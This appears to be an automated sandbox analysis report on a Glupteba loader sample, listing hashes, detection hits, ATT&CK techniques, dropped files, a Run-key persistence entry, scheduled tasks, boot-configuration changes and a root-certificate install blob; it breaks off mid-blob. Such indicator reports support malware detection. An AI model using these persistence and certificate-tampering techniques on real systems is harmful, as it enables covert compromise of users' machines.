glupteba | 3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e

General

Target

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
Size

3.8MB
MD5

06c8604388daf79027ed873eb90cf2d6
SHA1

6caab7c9ebcd8aeab6e135273f845dbaf0d53459
SHA256

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e
SHA512

3263f2a24297711ee35ae02ba9af1dc6b60730cbbd325905ea2ae4600ce1b138c9fb8cc927669547587f71dbaf3a74fb6d65d0836f309f1e8fff605541f2b21f

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4372-131-0x0000000003020000-0x0000000003716000-memory.dmp	family_glupteba
behavioral2/memory/4372-132-0x0000000000400000-0x0000000000D22000-memory.dmp	family_glupteba
behavioral2/memory/2456-135-0x0000000000400000-0x0000000000D22000-memory.dmp	family_glupteba
behavioral2/memory/3912-144-0x0000000003300000-0x00000000039F6000-memory.dmp	family_glupteba
behavioral2/memory/3912-145-0x0000000000400000-0x0000000000D22000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1976 created 4372	1976	svchost.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
PID 1976 created 3912	1976	svchost.exe	csrss.exe
PID 1976 created 3912	1976	svchost.exe	csrss.exe
PID 1976 created 3912	1976	svchost.exe	csrss.exe
PID 1976 created 3912	1976	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3912 csrss.exe
3776 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
3912	csrss.exe
3776	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MuddySunset = "\"C:\\Windows\\rss\\csrss.exe\""	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

868 bcdedit.exe

pid	process
868	bcdedit.exe

Drops file in System32 directory 8 IoCs

Processes:

csrss.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	csrss.exe

Drops file in Windows directory 4 IoCs

Processes:

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.execsrss.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe

Program crash 62 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2308	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
2276	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
504	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4628	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
5112	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4696	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4652	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
2008	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3780	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3620	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
1648	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3400	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4732	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4712	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
228	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4700	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4860	4372	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3024	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4976	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
1880	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4756	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4984	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3984	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3788	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
960	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4708	2456	WerFault.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
1044	3912	WerFault.exe	csrss.exe
1864	3912	WerFault.exe	csrss.exe
1236	3912	WerFault.exe	csrss.exe
2676	3912	WerFault.exe	csrss.exe
4188	3912	WerFault.exe	csrss.exe
3920	3912	WerFault.exe	csrss.exe
724	3912	WerFault.exe	csrss.exe
5000	3912	WerFault.exe	csrss.exe
4844	3912	WerFault.exe	csrss.exe
1348	3912	WerFault.exe	csrss.exe
2364	3912	WerFault.exe	csrss.exe
4224	3912	WerFault.exe	csrss.exe
3672	3912	WerFault.exe	csrss.exe
5112	3912	WerFault.exe	csrss.exe
392	3912	WerFault.exe	csrss.exe
3284	3912	WerFault.exe	csrss.exe
3488	3912	WerFault.exe	csrss.exe
3156	3912	WerFault.exe	csrss.exe
4664	3912	WerFault.exe	csrss.exe
2000	3912	WerFault.exe	csrss.exe
1972	3912	WerFault.exe	csrss.exe
3764	3912	WerFault.exe	csrss.exe
4444	3912	WerFault.exe	csrss.exe
2212	3912	WerFault.exe	csrss.exe
2964	3912	WerFault.exe	csrss.exe
3640	3912	WerFault.exe	csrss.exe
1052	3912	WerFault.exe	csrss.exe
892	3912	WerFault.exe	csrss.exe
4960	3912	WerFault.exe	csrss.exe
4792	3912	WerFault.exe	csrss.exe
1788	3912	WerFault.exe	csrss.exe
1964	3912	WerFault.exe	csrss.exe
2972	3912	WerFault.exe	csrss.exe
3260	3912	WerFault.exe	csrss.exe
1284	3912	WerFault.exe	csrss.exe
3524	3912	WerFault.exe	csrss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4908 schtasks.exe
4928 schtasks.exe

pid	process
4908	schtasks.exe
4928	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed7